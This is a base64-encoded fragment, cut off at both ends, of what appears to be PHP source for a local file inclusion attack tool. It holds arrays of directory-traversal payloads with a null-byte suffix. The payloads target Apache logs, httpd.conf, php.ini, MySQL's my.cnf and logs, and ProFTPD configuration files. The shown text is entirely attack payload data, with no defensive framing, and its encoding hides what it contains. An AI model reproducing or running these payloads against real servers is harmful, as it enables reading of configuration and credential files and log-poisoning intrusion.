i4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlMi9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYXBhY2hlMi9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2h0dHBkL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDIwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQvbGFtcHAvbG9ncy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2xvZ3MvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMjIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9sYW1wcC9sb2dzL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDIzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQveGFtcHAvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIpOw0KICAgICAgIA0KICAgICAgICAgJGxmaWVycm9yID0gYXJyYXkoDQogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9hcGFjaGUvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9lcnJvcl9sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlMi9lcnJvcl9sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9lcnJvci5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDExID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZTIvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9lcnJvcl9sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYXBhY2hlMi9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIpOw0KDQogICAgICAgICAkbGZpY29uZmlnID0gYXJyYXkoDQogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvYXBhY2hlMi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9odHRwZC9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9odHRwZC9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcHBzL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwcHMvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHAvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDIyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDIzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMjQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3ByaXZhdGUvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDI1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcml2YXRlL2V0Yy9odHRwZC9odHRwZC5jb25mLmRlZmF1bHQiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDI2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9Wb2x1bWVzL3dlYkJhY2t1cC9vcHQvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDI3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9Wb2x1bWVzL3dlYkJhY2t1cC9wcml2YXRlL2V0Yy9odHRwZC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vVm9sdW1lcy93ZWJCYWNrdXAvcHJpdmF0ZS9ldGMvaHR0cGQvaHR0cGQuY29uZi5kZWZhdWx0Ii4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocC9odHRwZC5jb25mLnBocCIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMzAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA0L2h0dHBkLmNvbmYucGhwIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAzMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDUvaHR0cGQuY29uZi5waHAiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDMyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDMzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAzNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDUvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMzUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvYXBhY2hlL3Zob3N0cy5jb25mIi4kYnl0ZTEuIiIpOw0KICAgICAgICAgICAgICAgDQogICAgICAgICAgJGxmaXBocGluaSA9IGFycmF5KA0KICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2Jpbi9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbGliL3BocC9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocC9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDQvbGliL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDQuNC9mY2dpL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNC9hcGFjaGUvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA0L2FwYWNoZTIvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA1L2FwYWNoZS9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDUvYXBhY2hlMi9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC9waHA0L3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL2FwYWNoZS9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC9hcGFjaGUyL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDIxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi93ZWIvY29uZi9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL1plbmQvZXRjL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDIzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQveGFtcHAvZXRjL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDI0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9jYWwvd3d3L2NvbmYvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMjUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAvY2dpL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDI2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNC9jZ2kvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHA1L2NnaS9waHAuaW5pIi4kYnl0ZTEuIiIpOw0KICAgICAgIA0KICAgICAgICAgICRsZmlteXNxbCA9IGFycmF5KA0KICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbC9teXNxbC1iaW4ubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbGRlcnJvci5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWwvbXlzcWwubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbXlzcWwubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbGliL215c3FsL215LmNuZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL215c3FsL215LmNuZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbGQubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL215LmNuZiIuJGJ5dGUxLiIiKTsNCiAgICAgICANCiAgICAgICAgICAkbGZpZnRwID0gYXJyYXkoDQogICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvbG9ncm90YXRlLmQvcHJvZnRwZCIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vd3d3L2xvZ3MvcHJvZnRwZC5zeXN0ZW0ubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3Byb2Z0cGQiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wcm9mdHAuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Byb3RwZC9wcm9mdHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgIDYgPT4gIi4uLy4u